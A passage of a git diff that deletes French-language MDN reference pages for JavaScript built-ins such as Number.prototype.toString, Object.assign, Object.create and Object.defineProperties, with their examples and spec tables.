Si la base n'est pas spécifiée, on utilisera la base 10 par défaut.

- -

Si l'objet Number est négatif, le signe sera conservé. Ceci, même si la base utilisée est la base 2 : la chaîne de caractères rendue sera la représentation binaire du nombre positif précédée par un signe -. La représentation n'est pas le complément à deux du nombre.

- -

Si l'objet Number n'est pas un nombre entier, le point (.) sera utilisé pour séparer la partie entière et décimale.

- -

Exemples

- -

Utiliser toString

- -
var compte = 10;
-
-console.log(compte.toString());   // affiche "10"
-console.log((17).toString());     // affiche "17"
-console.log((17.2).toString());   // affiche "17.2"
-
-var x = 6;
-
-console.log(x.toString(2));       // affiche "110"
-console.log((254).toString(16));  // affiche "fe"
-
-
-console.log((-10).toString(2));   // affiche "-1010"
-console.log((-0xff).toString(2)); // affiche "-11111111"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée par JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.4.2', 'Number.prototype.tostring')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.toString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number.prototype.toFixed()")}}
    • -
  • {{jsxref("Number.prototype.toExponential()")}}
    • -
  • {{jsxref("Number.prototype.toPrecision()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/valueof/index.html b/files/fr/web/javascript/reference/objets_globaux/number/valueof/index.html deleted file mode 100644 index ad57b1599c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/valueof/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Number.prototype.valueOf() -slug: Web/JavaScript/Reference/Objets_globaux/Number/valueOf -tags: - - JavaScript - - Méthode - - Number - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number/valueOf ---- -
{{JSRef}}
- -

La méthode valueOf() renvoie la valeur primitive correspondant à celle représentée par l'objet {{jsxref("Number")}}.

- -
{{EmbedInteractiveExample("pages/js/number-valueof.html")}}
- - - -

Syntaxe

- -
objetNumber.valueOf()
- -

Valeur de retour

- -

Un nombre qui représente la valeur primitive de l'objet {{jsxref("Number")}}.

- -

Description

- -

Cette méthode est généralement utilisée de façon interne au moteur JavaScript et n'est pas utilisée de façon explicite dans du code JavaScript.

- -

Exemples

- -

Utiliser valueOf

- -
var numObj = new Number(10);
-console.log(typeof numObj); // object
-
-var num = numObj.valueOf();
-console.log(num);           // 10
-console.log(typeof num);    // number
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.4.4', 'Number.prototype.valueOf')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.valueOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number.prototype.toSource()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/assign/index.html b/files/fr/web/javascript/reference/objets_globaux/object/assign/index.html deleted file mode 100644 index 8fdbdde216..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/assign/index.html +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: Object.assign() -slug: Web/JavaScript/Reference/Objets_globaux/Object/assign -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Object - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Object/assign ---- -
{{JSRef}}
- -

La méthode Object.assign() est utilisée afin de copier les valeurs de toutes les propriétés directes (non héritées) d'un objet qui sont énumérables sur un autre objet cible. Cette méthode renvoie l'objet cible.

- -
{{EmbedInteractiveExample("pages/js/object-assign.html")}}
- - - -

Syntaxe

- -
Object.assign(cible, ...sources)
- -

Paramètres

- -
-
cible
-
L'objet cible.
-
sources
-
Le(s) objet(s) source(s).
-
- -

Valeur de retour

- -

L'objet cible, éventuellement modifié, est renvoyé.

- -

Description

- -

La méthode Object.assign permet de ne copier que les propriétés énumérables et propres (les propriétés qui ne sont pas héritées) depuis un objet source vers un objet cible. Elle utilise [[Get]] sur l'objet source et [[Set]] sur l'objet cible, ainsi, elle déclenchera les accesseurs/mutateurs. De cette façon, elle affecte les propriétés plutôt que de juste les copier ou d'en définir de nouvelles. Aussi, il est déconseillé d'utiliser cette méthode si on souhaite uniquement fusionner de nouvelles propriétés dans un prototype si un des objets sources contient des accesseurs. Pour uniquement copier les définitions des propriétés (y compris leur énumérabilité) dans des prototypes, on utilisera plutôt {{jsxref("Object.getOwnPropertyDescriptor()")}} et {{jsxref("Object.defineProperty()")}}.

- -

Les propriétés {{jsxref("String")}} et {{jsxref("Symbol")}} sont copiées. Les propriétés de l'objet cible sont surchargées par celles de l'objet source si elles ont la même clé.

- -

En cas d'erreur, si une propriété n'est pas accessible en écriture par exemple, une exception {{jsxref("TypeError")}} sera levée mais l'objet cible aura été modifié avec les propriétés ajoutées avant l'erreur.

- -

Object.assign ne donnera pas d'erreur si on fournit les valeurs {{jsxref("null")}} ou {{jsxref("undefined")}} pour la valeur source.

- -

Exemples

- -

Cloner un objet

- -
var obj = { a: 1 };
-var copie = Object.assign({}, obj);
-console.log(copie); // {a: 1}
- -
-

Note : Attention, pour un clone réel (deep clone), il faudra utiliser d'autres méthodes car Object.assign() ne copie que les valeurs des propriétés depuis l'objet source, il ne recopie pas intégralement une nouvelle propriété. Si la valeur est une référence à un objet, il copiera uniquement la référence.

-
- -

Fusionner des objets

- -
var o1 = { a: 1 };
-var o2 = { b: 2 };
-var o3 = { c: 3 };
-
-var obj = Object.assign(o1, o2, o3);
-console.log(obj); // { a: 1, b: 2, c: 3 }
-console.log(o1);  // { a: 1, b: 2, c: 3 }, l'objet cible est aussi modifié
-
- -

Fusionner des objets partageant des propriétés

- -
var o1 = { a: 1, b: 1, c: 1 };
-var o2 = { b: 2, c: 2 };
-var o3 = { c: 3 };
-
-var obj = Object.assign({}, o1, o2, o3);
-console.log(obj); // { a: 1, b: 2, c: 3 }
-
- -

Les propriétés communes sont surchargées selon l'ordre des paramètres.

- -

Copier des propriétés symboliques

- -
var o1 = { a: 1 };
-var o2 = { [Symbol('toto')]: 2 };
-
-var obj = Object.assign({}, o1, o2);
-console.log(obj); // { a: 1, [Symbol("toto")]: 2 }
-// Attention : dans Firefox le symbole n'est pas affiché
-// en raison du bug 1207182
-console.log(Object.getOwnPropertySymbols(obj)); // [Symbol(toto)]
-
- -

Les propriétés héritées et les propriétés non-énumérables ne peuvent être copiées

- -
var obj = Object.create({ toto: 1 }, { // toto est héritée
-  truc: {
-    value: 2  // truc est non-enumerable (par défaut)
-  },
-  bidule: {
-    value: 3,
-    enumerable: true  // bidule est une propriété propre et énumérable
-  }
-});
-
-var copie = Object.assign({}, obj);
-console.log(copie); // { bidule: 3 }
-
- -

Les types primitifs seront passés en objets

- -
var v1 = 'abc';
-var v2 = true;
-var v3 = 10;
-var v4 = Symbol('toto')
-
-var obj = Object.assign({}, v1, null, v2, undefined, v3, v4);
-// Les valeurs primitives seront converties, null et undefined seront ignorés.
-// Note : seules les chaînes peuvent avoir des propriétés énumérables.
-console.log(obj); // { "0": "a", "1": "b", "2": "c" }
-
- -

Les exceptions interrompent la copie

- -
var target = Object.defineProperty({}, 'toto', {
-  value: 1,
-  writable: false
-}); // target.toto est en lecture seule
-
-Object.assign(target, { truc: 2 }, { toto2: 3, toto: 3, toto3: 3 }, { bidule: 4 });
-// TypeError: "toto" est en lecture seule
-// L'exception est levée lorsqu'on affecte target.toto
-
-console.log(target.truc);  // 2, le premier objet source est bien copié
-console.log(target.toto2); // 3, la première propriété du deuxième objet source est bien copiée
-console.log(target.toto);  // 1, on a une exception ici
-console.log(target.toto3); // undefined, assign est terminé toto3 ne sera pas copié
-console.log(target.bidule);// undefined, le troisième objet source ne sera pas copié non plus.
-
- -

Copier des accesseurs

- -
var obj = {
-  toto: 1,
-  get truc() {
-    return 2;
-  }
-};
-
-var copie = Object.assign({}, obj);
-console.log(copie);
-// { toto: 1, truc: 2 }, la valeur de copie.truc
-// est la valeur renvoyée par l'accesseur d'obj.truc.
-
-// Voici une fonction qui copie les descripteurs
-// dans leur intégralité
-function completeAssign(target, ...sources) {
-  sources.forEach(source => {
-    let descriptors = Object.keys(source).reduce((descriptors, key) => {
-      descriptors[key] = Object.getOwnPropertyDescriptor(source, key);
-      return descriptors;
-    }, {});
-    // Par défaut, Object.assign copie également
-    // les symboles énumérables
-    Object.getOwnPropertySymbols(source).forEach(sym => {
-      let descriptor = Object.getOwnPropertyDescriptor(source, sym);
-      if (descriptor.enumerable) {
-        descriptors[sym] = descriptor;
-      }
-    });
-    Object.defineProperties(target, descriptors);
-  });
-  return target;
-}
-
-var copie = completeAssign({}, obj);
-console.log(copie);
-// { toto:1, get truc() { return 2 } }
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-object.assign', 'Object.assign')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-object.assign', 'Object.assign')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.assign")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/object/constructor/index.html b/files/fr/web/javascript/reference/objets_globaux/object/constructor/index.html deleted file mode 100644 index 4630ec0f1e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/constructor/index.html +++ /dev/null @@ -1,233 +0,0 @@ ---- -title: Object.prototype.constructor -slug: Web/JavaScript/Reference/Objets_globaux/Object/constructor -tags: - - JavaScript - - Object - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/constructor ---- -
{{JSRef}}
- -

La propriété constructor renvoie une référence à la fonction {{jsxref("Object")}} qui a créé le prototype de l'instance. La valeur de cette propriété est une référence à la fonction elle-même, ce n'est pas une chaîne de caractères représentant le nom de la fonction. Cette valeur est en lecture seule pour les valeurs de types primitifs comme 1, true et "test".

- -

Description

- -

Tous les objets héritent d'une propriété constructor de leur prototype (à l'exception de ceux créés avec Object.create(null)). Les objets créés sans constructeur (c'est-à-dire avec des littéraux) auront le constructeur correspondant au type du littéral :

- -
var o = {};
-o.constructor === Object; // true
-
-var a = [];
-a.constructor === Array; // true
-
-var n = new Number(3)
-n.constructor === Number; // true
- -

Exemples

- -

Afficher le constructeur d'un objet

- -

L'exemple ci-dessous crée un constructeur Arbre, et un objet de ce type, monArbre. Le script affiche ensuite la propriété constructor de l'objet monArbre :

- -
function Arbre(nom) {
-   this.nom = nom;
-}
-
-var monArbre = new Arbre("Sequoia");
-console.log( "monArbre.constructor vaut " + monArbre.constructor );
- -

Cet exemple produira le résultat suivant :

- -
monArbre.constructor vaut function Arbre(nom) {
-    this.nom = nom;
-}
- -

Modifier le constructeur d'un objet

- -

Dans l'exemple suivant, on illustre comment modifier la valeur d'un constructeur pour les objets génériques. Dans l'exemple suivant, seules les valeurs true, 1 et "test" ne seront pas affectées car leurs constructeurs sont en lecture seule uniquement. Cet exemple montre qu'il ne faut pas se reposer de façon aveugle sur la propriété constructor d'un objet.

- -
function Type () {}
-
-var types = [
-  new Array(),
-  [],
-  new Boolean(),
-  true,             // restera tel quel
-  new Date(),
-  new Error(),
-  new Function(),
-  function () {},
-  Math,
-  new Number(),
-  1,                // restera tel quel
-  new Object(),
-  {},
-  new RegExp(),
-  /(?:)/,
-  new String(),
-  'test'            // restera tel quel
-];
-
-for (var i = 0; i < types.length; i++) {
-  types[i].constructor = Type;
-  types[i] = [types[i].constructor, types[i] instanceof Type, types[i].toString()];
-}
-
-console.log(types.join('\n'));
-
- -

L'exemple produira le résultat suivant :

- -
function Type() {},false,
-function Type() {},false,
-function Type() {},false,false
-function Boolean() {
-    [native code]
-},false,true
-function Type() {},false,Mon Sep 01 2014 16:03:49 GMT+0600
-function Type() {},false,Error
-function Type() {},false,function anonymous() {
-
-}
-function Type() {},false,function () {}
-function Type() {},false,[object Math]
-function Type() {},false,0
-function Number() {
-    [native code]
-},false,1
-function Type() {},false,[object Object]
-function Type() {},false,[object Object]
-function Type() {},false,/(?:)/
-function Type() {},false,/(?:)/
-function Type() {},false,
-function String() {
-    [native code]
-},false,test
-
- -

Modifier le constructeur d'une fonction

- -

La plupart du temps, cette  propriété est utilisée afin de définir une fonction en tant que constructeur, c'est-à-dire qu'on l'appellera avec new et en « attachant » la chaîne de prototypes.

- -
function Parent() {}
-Parent.prototype.parentMethod = function parentMethod() {};
-
-function Child() {}
-// on redefinit le prototype de child afin qu'il pointe vers celui de Parent
-Child.prototype = Object.create(Parent.prototype);
-
-Child.prototype.constructor = Child; // on renvoie le constructeur original Child
- -

Pourquoi faut-il écrire cette dernière ligne ? Eh bien, ça dépend.

- -

Essayons de définir les cas où il est nécessaire de réaffecter le constructeur original et les cas où c'est superflu.

- -

Imaginons que l'objet possède une méthode create() qui lui permette de créer un autre exemplaire :

- -
function Parent() {};
-function CreatedConstructor() {}
-
-CreatedConstructor.prototype = Object.create(Parent.prototype);
-
-CreatedConstructor.prototype.create = function create() {
-  return new this.constructor();
-}
-
-new CreatedConstructor().create().create();
-// error undefined is not a function car constructor === Parent
- -

Dans l'exemple précédent, on a une exception car le constructeur pointe vers Parent.

- -

Pour éviter cet écueil, il suffit d'affecter le bon constructeur (celui qui sera utilisé ensuite) :

- -
function Parent() {};
-function CreatedConstructor() {}
-
-CreatedConstructor.prototype = Object.create(Parent.prototype);
-// On réaffecte le bon constructeur afin de l'utiliser plus loin
-CreatedConstructor.prototype.constructor = CreatedConstructor;
-
-CreatedConstructor.prototype.create = function create() {
-  return new this.constructor();
-}
-
-new CreatedConstructor().create().create();
-// pas d'exception cette fois-ci
- -

Prenons un autre exemple :

- -
function ParentWithStatic() {}
-
-ParentWithStatic.startPosition = { x: 0, y:0 };
-ParentWithStatic.getStartPosition = function getStartPosition() {
-  return this.startPosition;
-}
-
-function Child(x, y) {
-  this.position = {
-    x: x,
-    y: y
-  };
-}
-
-Child.prototype = Object.create(ParentWithStatic.prototype);
-Child.prototype.constructor = Child;
-
-Child.prototype.getOffsetByInitialPosition = function getOffsetByInitialPosition() {
-  var position = this.position;
-  var startPosition = this.constructor.getStartPosition(); // error undefined is not a function, since the constructor is Child
-
-  return {
-    offsetX: startPosition.x - position.x,
-    offsetY: startPosition.y - position.y
-  }
-};
- -

Ici, il faudra conserverr le constructeur parent si on veut que le code fonctionne correctement.

- -

En résumé, lorsqu'on paramètre manuellement le constructeur, on peut obtenir des résultats sources de confusion. La plupart du temps, la propriété constructor n'est pas utilisée et la réaffecter n'est pas nécessaire.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.2.4.1', 'Object.prototype.constructor')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.constructor")}}

-
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/create/index.html b/files/fr/web/javascript/reference/objets_globaux/object/create/index.html deleted file mode 100644 index 67a36a268a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/create/index.html +++ /dev/null @@ -1,304 +0,0 @@ ---- -title: Object.create() -slug: Web/JavaScript/Reference/Objets_globaux/Object/create -tags: - - ECMAScript 5 - - JavaScript - - Méthode - - Object - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Object/create ---- -
{{JSRef}}
- -

La méthode Object.create() crée un nouvel objet avec un prototype donné et des propriétés données.

- -
{{EmbedInteractiveExample("pages/js/object-create.html")}}
- - - -

Syntaxe

- -
Object.create(proto)
-Object.create(proto, objetPropriétés)
- -

Paramètres

- -
-
proto
-
L'objet qui sera le prototype du nouvel objet créé.
-
objetPropriétés
-
Paramètre optionnel. S'il est fourni et qu'il ne vaut pas {{jsxref("undefined")}}, il sera utilisé comme un objet dont les propriétés propres (celles qui ne sont pas héritées par la chaîne de prototypes) et énumérables définiront des descripteurs pour les propriétés à ajouter au nouvel objet, avec les mêmes noms. Ces propriétés correspondent au deuxième argument de {{jsxref("Object.defineProperties()")}}.
-
- -

Valeur de retour

- -

Un nouvel objet qui dispose du prototype et des propriétés indiquées.

- -

Exceptions

- -

Cette méthode lève une exception {{jsxref("TypeError")}} si le paramètre objetPropriétés vaut {{jsxref("null")}} ou s'il ne décrit pas des propriétés d'un objet.

- -

Exemples

- -

L'héritage classique avec Object.create()

- -

Dans l'exemple ci-dessous, on utilise Object.create() afin de réaliser un héritage de classe. Ce modèle ne supporte que l'héritage unique (un objet hérite directement uniquement d'un autre objet) car JavaScript ne gère pas l'héritage multiple.

- -
// Forme, la classe parente
-function Forme() {
-  this.x = 0;
-  this.y = 0;
-}
-
-// Méthode de la classe parente
-Forme.prototype.déplacer = function(x, y) {
-  this.x += x;
-  this.y += y;
-  console.info('Forme déplacée.');
-};
-
-// Rectangle - classe fille
-function Rectangle() {
-  // on appelle le constructeur parent
-  Forme.call(this);
-}
-
-// La classe fille surcharge la classe parente
-Rectangle.prototype = Object.create(Forme.prototype);
-
-// Si on ne définit pas le constructeur avec Rectangle, il récupèrera le constructeur
-// Forme (le parent).
-Rectangle.prototype.constructor = Rectangle;
-
-var rect = new Rectangle();
-
-console.log('instance de Rectangle ? ', (rect instanceof Rectangle));
-// true
-console.log('une instance de Forme ? ', (rect instanceof Forme));
- // true
-rect.déplacer(1, 1);
-// Affiche 'Forme déplacée.'
-
- -

Si on souhaite hériter de plusieurs objets, on peut utiliser des mixins.

- -
function MaClasse() {
-  ClasseParente1.call(this);
-  ClasseParente2.call(this);
-}
-
-MaClasse.prototype = Object.create(ClasseParente1.prototype); // héritage d'une classe
-Object.assign(MaClasse.prototype, ClasseParente2.prototype); // mixin pour une autre
-MaClasse.prototype.constructor = MaClasse; // On réaffecte le constructeur
-
-MaClasse.prototype.maMéthode = function() {
-  // faire quelque chose
-};
-
- -

Ici, la méthode {{jsxref("Object.assign()")}} copie les propriétés du prototype de la classe parente (ClassParente2) sur le prototype de la classe fille (MaClasse), les rendant disponibles pour toutes les instances de MaClasse. Object.assign() a été introduit avec ES2015 et une prothèse d'émulation (polyfill) est disponible. Si le support des navigateurs plus anciens est nécessaire, les méthodes jQuery.extend() ou _.assign() (Lodash) peuvent être utilisées.

- -

Utiliser l'argument objetPropriétés avec Object.create()

- -
var o;
-
-// on crée un objet avec null
-// comme prototype
-o = Object.create(null);
-
-
-o = {};
-// est équivalent à :
-o = Object.create(Object.prototype);
-
-
-// Exemple où on crée un objet avec quelques propriétés
-// (On voit ici que le second paramètres fait correspondre les clés
-// avec des descripteurs de propriétés.)
-o = Object.create(Object.prototype, {
-  // toto est une propriété de donnée
-  toto: { writable: true, configurable: true, value: 'hello' },
-  // truc est une propriété d'accesseur/mutateur
-  truc: {
-    configurable: false,
-    get: function() { return 10; },
-    set: function(value) { console.log('Définir `o.truc` à', value); }
-/* avec les accesseurs ES2015 on aura :
-    get() { return 10; },
-    set(value) { console.log('Définir `o.truc` à', value); } */
-  }
-});
-
-
-function Constructeur() {}
-o = new Constructeur();
-// est équivalent à :
-o = Object.create(Constructeur.prototype);
-// Bien entendu, si la fonction Constructeur
-// possède des instructions pour l'initialisation,
-// Object.create() ne pourra pas le reproduire
-
-
-// on crée un nouvel objet dont le prototype est
-// un nouvel objet vide et on y ajoute une propriété
-// 'p' qui vaut 42
-o = Object.create({}, { p: { value: 42 } });
-
-// par défaut, les propriétés ne sont PAS
-// écrivables, énumérables ou configurables
-o.p = 24;
-o.p;
-// 42
-
-o.q = 12;
-for (var prop in o) {
-  console.log(prop);
-}
-// 'q'
-
-delete o.p;
-// false
-
-// Pour définir une propriété selon ES3
-o2 = Object.create({}, {
-  p: {
-    value: 42,
-    writable: true,
-    enumerable: true,
-    configurable: true
-  }
-});
-
-// Équivalent à
-// o2 = Object.create({p: 42});
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.5', 'Object.create')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.5.
{{SpecName('ES2015', '#sec-object.create', 'Object.create')}}{{Spec2('ES2015')}}
{{SpecName('ESDraft', '#sec-object.create', 'Object.create')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.create")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.defineProperty()")}}
    • -
  • {{jsxref("Object.defineProperties()")}}
    • -
  • {{jsxref("Object.prototype.isPrototypeOf()")}}
    • -
  • Le billet de John Resig sur getPrototypeOf() (en anglais)
    • -
- -
- - - - - -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/definegetter/index.html b/files/fr/web/javascript/reference/objets_globaux/object/definegetter/index.html deleted file mode 100644 index 77c16bfe51..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/definegetter/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Object.prototype.__defineGetter__() -slug: Web/JavaScript/Reference/Objets_globaux/Object/defineGetter -tags: - - Déprécié - - JavaScript - - Méthode - - Object - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__ ---- -
{{JSRef}}
- -
-

Attention : Cette fonctionnalité est dépréciée et il est préférable d'utiliser l'API {{jsxref("Object.defineProperty()")}} et la syntaxe d'initialisation d'objets. Toutefois, __defineGetter__ est largement utilisée sur le Web et est implémentée. Il est donc peu probable que les navigateurs retirent cette méthode.

-
- -

La méthode __defineGetter__ permet de lier une propriété d'un objet à une fonction à exécuter lorsqu'on accède à la propriété.

- -

Syntaxe

- -
obj.__defineGetter__(prop, func)
- -

Paramètres

- -
-
prop
-
Une chaîne de caractères contenant le nom de la propriété à lier à la fonction donnée.
-
func
-
Une fonction à utiliser à chaque fois qu'on accède à la propriété.
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Description

- -

La méthode __defineGetter__ permet de définir un {{jsxref("Opérateurs/L_opérateur_get", "accesseur", "", 1)}} sur un objet pré-existant.

- -

Exemples

- -
// Méthode non-standard et dépréciée
-
-var o = {};
-o.__defineGetter__('gimmeFive', function() { return 5; });
-console.log(o.gimmeFive); // 5
-
-
-// Façon standard
-
-// En utilisant l'opérateur get
-var o = { get gimmeFive() { return 5; } };
-console.log(o.gimmeFive); // 5
-
-// En utilisant Object.defineProperty
-var o = {};
-Object.defineProperty(o, 'gimmeFive', {
-  get: function() {
-    return 5;
-  }
-});
-console.log(o.gimmeFive); // 5
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.prototype.__defineGetter__', 'Object.prototype.__defineGetter__()')}}{{Spec2('ESDraft')}}Incluse dans l'annexe normative pour les fonctionnalités historiques liées aux navigateurs web (la spécification codifie ce qui est déjà présent dans les différentes implémentations).
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.defineGetter")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/object/defineproperties/index.html b/files/fr/web/javascript/reference/objets_globaux/object/defineproperties/index.html deleted file mode 100644 index 01647f7dec..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/defineproperties/index.html +++ /dev/null @@ -1,201 +0,0 @@ ---- -title: Object.defineProperties() -slug: Web/JavaScript/Reference/Objets_globaux/Object/defineProperties -tags: - - ECMAScript 5 - - JavaScript - - Méthode - - Object - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperties ---- -
{{JSRef}}
- -

La méthode Object.defineProperties() permet de définir ou de modifier les propriétés d'un objet directement sur celui-ci. La valeur renvoyée est l'objet modifié.

- -
{{EmbedInteractiveExample("pages/js/object-defineproperties.html")}}
- - - -

Syntaxe

- -
Object.defineProperties(obj, props)
- -

Paramètres

- -
-
obj
-
L'objet dont on souhaite modifier ou définir certaines propriétés.
-
props
-
Un objet dont les propriétés propres et énumérables sont des descripteurs de propriétés pour les propriétés à définir ou à modifier. Les descripteurs de propriétés peuvent avoir deux formes (voir {{jsxref("Object.defineProperty()")}} pour plus d'informations) : un descripteur de donnée ou un descripteur d'accesseur.
-
Les descripteurs de donnée et d'accesseur peuvent avoir les clés suivantes : -
-
configurable
-
true si et seulement si le type de ce descripteur peut être modifié et si la propriété peut être supprimée de l'objet.
- Par défaut : false.
-
enumerable
-
true si et seulement si la propriété doit être listée lors des énumérations de propriétés de l'objet (quand on liste les propriétés pour une boucle par exemple).
- Par défaut : false.
-
- -

Un descripteur de donnée pourra avoir les clés suivantes :

- -
-
value
-
La valeur associée à la propriété. Cela peut être n'importe quelle valeur valide en JavaScript (un nombre, un objet, etc.).
- Par défaut : {{jsxref("undefined")}}.
-
writable
-
true si et seulement si la valeur associée à la propriété peut être modifiée par un {{jsxref("Opérateurs/Opérateurs_d_affectation", "opérateur d'affectation", "", 1)}}.
- Par défaut : false.
-
- -

Un descripteur d'accesseur pourra avoir les clés suivantes :

- -
-
get
-
Une fonction utilisée comme accesseur pour la propriété ou {{jsxref("undefined")}} s'il n'y a pas d'accesseur. La fonction renvoyée sera utilisée comme valeur pour la propriété.
- Par défaut : {{jsxref("undefined")}}.
-
set
-
Une fonction utilisée comme mutateur pour la propriété ou {{jsxref("undefined")}} s'il n'y a pas de mutateur. La fonction qui sera utilisée ensuite recevra la nouvelle valeur à affecter à la propriété comme argument.
- Par défaut : {{jsxref("undefined")}}.
-
- -

Si un descripteur ne possède aucune clé parmi value, writable, get et set, il sera considéré comme un descripteur de donnée. Si un descripteur possède à la fois les clés value/writable et get/set, une exception sera levée.

-
-
- -

Valeur de retour

- -

L'objet passé à la fonction, éventuellement modifié.

- -

Description

- -

Object.defineProperties permet principalement de définir toutes les propriétés  de l'objet obj correspondant aux propriétés énumérable de props.

- -

Exemples

- -
var obj = {};
-Object.defineProperties(obj, {
-  "propriété1": {
-    value: true,
-    writable: true
-  },
-  "propriété2": {
-    value: "Coucou",
-    writable: false
-  }
-  // etc.
-});
- -

Prothèse d'émulation (polyfill)

- -

Si on considère un environnement pur où tous les noms et toutes les propriétés font référence à leurs valeurs initiales, Object.defineProperties est quasiment équivalent à l'implémentation suivante en JavaScript (voir la note liée à isCallable) :

- -
function defineProperties(obj, properties) {
-  function convertToDescriptor(desc) {
-    function hasProperty(obj, prop) {
-      return Object.prototype.hasOwnProperty.call(obj, prop);
-    }
-
-    function isCallable(v) {
-      // NB : à modifier s'il y a plus de types
-      // que les fonctions qui sont
-      // appelables (callables)
-      return typeof v === "function";
-    }
-
-    if (typeof desc !== "object" || desc === null)
-      throw new TypeError("bad desc");
-
-    var d = {};
-
-    if (hasProperty(desc, "enumerable"))
-      d.enumerable = !!desc.enumerable;
-    if (hasProperty(desc, "configurable"))
-      d.configurable = !!desc.configurable;
-    if (hasProperty(desc, "value"))
-      d.value = desc.value;
-    if (hasProperty(desc, "writable"))
-      d.writable = !!desc.writable;
-    if ( hasProperty(desc, "get") ) {
-      var g = desc.get;
-
-      if (!isCallable(g) && typeof g !== "undefined")
-        throw new TypeError("bad get");
-      d.get = g;
-    }
-    if ( hasProperty(desc, "set") ) {
-      var s = desc.set;
-      if (!isCallable(s) && typeof s !== "undefined")
-        throw new TypeError("bad set");
-      d.set = s;
-    }
-
-    if (("get" in d || "set" in d) && ("value" in d || "writable" in d))
-      throw new TypeError("identity-confused descriptor");
-
-    return d;
-  }
-
-  if (typeof obj !== "object" || obj === null)
-    throw new TypeError("bad obj");
-
-  properties = Object(properties);
-
-  var keys = Object.keys(properties);
-  var descs = [];
-
-  for (var i = 0; i < keys.length; i++)
-    descs.push([keys[i], convertToDescriptor(properties[keys[i]])]);
-
-  for (var i = 0; i < descs.length; i++)
-    Object.defineProperty(obj, descs[i][0], descs[i][1]);
-
-  return obj;
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.7', 'Object.defineProperties')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée par JavaScript 1.8.5
{{SpecName('ES6', '#sec-object.defineproperties', 'Object.defineProperties')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.defineproperties', 'Object.defineProperties')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.defineProperties")}}

-
- -

Voir aussi

